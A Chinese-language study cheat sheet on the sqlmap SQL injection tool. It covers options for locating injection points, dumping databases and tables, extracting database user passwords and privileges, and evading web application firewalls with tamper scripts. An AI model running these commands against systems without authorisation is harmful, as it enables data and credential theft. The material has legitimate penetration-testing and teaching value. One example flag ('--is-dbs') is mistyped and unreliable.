【Web安全】sqlmap的使用筆記
文章目錄 【Web安全】sqlmap的使用筆記 1. 目標 2. 脫庫 3. 其他 4. 繞過腳本tamper講解
1. 目標
操作 作用 必要示例 -u 指定URL,檢測注入點 sqlmap -u 'http://example.com/?id=1'
-m 指定txt,里面有很多個URL sqlmap -m urls.txt
-r 檢測POST請求的注入點,使用BP等工具抓包,將http請求內容保存到txt文件中 sqlmap -r request.txt
–cookie 指定cookie的值,單/雙引號包裹 sqlmap -u "http://example.com?id=x" --cookie 'session_id=1234'
-D 指定數據庫 sqlmap -u 'http://example.com/?id=1' -D mydatabase
-T 指定表 sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable
-C 指定字段 sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable -C mycolumn
2. 脫庫
操作 作用 必要示例 -b 獲取數據庫版本 sqlmap -u <url> -b
–current-db 當前數據庫 sqlmap -u <url> --current-db
–dbs 獲取數據庫 sqlmap -u <url> --dbs
–tables 獲取表 sqlmap -u <url> --tables -D <database>
–columns 獲取字段 sqlmap -u <url> --columns -D <database> -T <table>
–schema 字段類型 sqlmap -u <url> --schema -D <database>
–dump 獲取數據 sqlmap -u <url> --dump -D <database> -T <table>
–start 開始的行 sqlmap -u <url> --start=1 -D <database> -T <table>
–stop 結束的行 sqlmap -u <url> --stop=10 -D <database> -T <table>
–search 搜索庫表字段 sqlmap -u <url> --search -C <column>
–tamper WAF繞過 sqlmap -u <url> --tamper=<tamper_script>
2.1. 脫庫(補充)
–current-db獲取的是當前的數據庫名稱,而–dbs獲取的是所有的數據庫名稱 WAF 指的是“Web Application Firewall”,即網絡應用防火墻,例如sqlmap -u ‘http://xx/?id=1’ --tamper ‘space2comment.py’,sqlmap有很多內置的繞過腳本(腳本按照用途命名),在/usr/share/sqlmap/tamper/目錄下 –search:如果你正在尋找包含特定關鍵字的列,這個命令將列出所有包含該關鍵字的列的名稱及其所屬的表和數據庫。
3. 其他
操作 作用 必要示例 –batch 不再詢問確認 sqlmap -u 'http://example.com/?id=1' --batch
–method=GET 指定請求方式 sqlmap -u 'http://example.com/?id=1' --method=GET
–random-agent 隨機UA sqlmap -u 'http://example.com/?id=1' --random-agent
–user-agent 自定義UA sqlmap -u 'http://example.com/?id=1' --user-agent 'MyUserAgent'
–referer 自定義referer sqlmap -u 'http://example.com/?id=1' --referer 'http://referer.com'
–proxy=“123” 代理 sqlmap -u 'http://example.com/?id=1' --proxy='http://123.123.123.123:8080'
–threads 10 線程數1~10 sqlmap -u 'http://example.com/?id=1' --threads 10
–level=1 測試等級1~5 sqlmap -u 'http://example.com/?id=1' --level=1
–risk=1 風險等級0~3 sqlmap -u 'http://example.com/?id=1' --risk=1
3.1. 其他(補充)
測試等級:這個等級決定了 SQLMap 將嘗試的測試數量和類型。較高的等級意味著 SQLMap 將執行更多類型的測試,這些測試可能更復雜,有時也更具侵入性。例如,在較低的等級上,SQLMap 可能只測試最常見的注入類型,而在較高等級上,它會嘗試更多不常見的或復雜的注入技術。 風險等級:風險等級影響測試的侵入性。較高的風險等級可能會運行更具侵入性的測試,這些測試可能會對數據庫造成更大的負擔或風險。例如,一些高風險測試可能包括執行實際的數據庫操作(如更新或刪除數據),而低風險測試則盡量避免這種潛在的破壞性操作。
操作 作用 必要示例 -a 自動識別和測試所有參數 sqlmap -u 'http://example.com/?id=1' -a
–current-user 獲取當前數據庫用戶 sqlmap -u 'http://example.com/?id=1' --current-user
–is-dba 是不是數據庫管理員 sqlmap -u 'http://example.com/?id=1' --is-dbs
–users 枚舉數據庫服務器上的用戶 sqlmap -u 'http://example.com/?id=1' --users
–privileges 枚舉數據庫用戶的權限 sqlmap -u 'http://example.com/?id=1' --privileges
–passwords 嘗試獲取數據庫用戶的密碼 sqlmap -u 'http://example.com/?id=1' --passwords
–hostname 獲取數據庫服務器的主機名 sqlmap -u 'http://example.com/?id=1' --hostname
–statements 捕獲并顯示SQL語句 sqlmap -u 'http://example.com/?id=1' --statements
4. 繞過腳本tamper講解
sqlmap在默認情況下除了使用CHAR()函數防止出現單引號,沒有對注入的數據進行修改,我們還可以使用–tamper參數對數據進行修改來繞過WAF等設備,其中部分腳本主要用正則模塊替換攻擊載荷字符編碼的方式嘗試繞過WAF的檢測規則:
sqlmap XXXXX --tamper "模塊名"
sqlmap內置了53個腳本,其中常見的是:
apostrophemask.py:將引號替換為UTF-8字符,用于過濾單引號 base64encode.py:替換為base64編碼 multiplespaces.py:圍繞SQL關鍵字添加多個空格 space2plus:用+號替換空格 nonrecursivereplacement.py:作為雙重查詢語句,用雙重查詢代替預定義的SQL關鍵字,使適用于非常弱的自定義過濾器,例如將SELECT替換為空 space2randomblank.py:將空格替換為其他的有效字符 unionalltounion.py:將UNION ALL SELECT替換為UNION SELECT securesphere.py:追加特制的字符串 space2hash.py:將空格替換為#號,并添加一個隨機字符串和換行符 space2mssqlblank.py(mssql):將空格替換為其他空符號 space2mssqlhash.py:將空格替換為#號,并添加一個換行符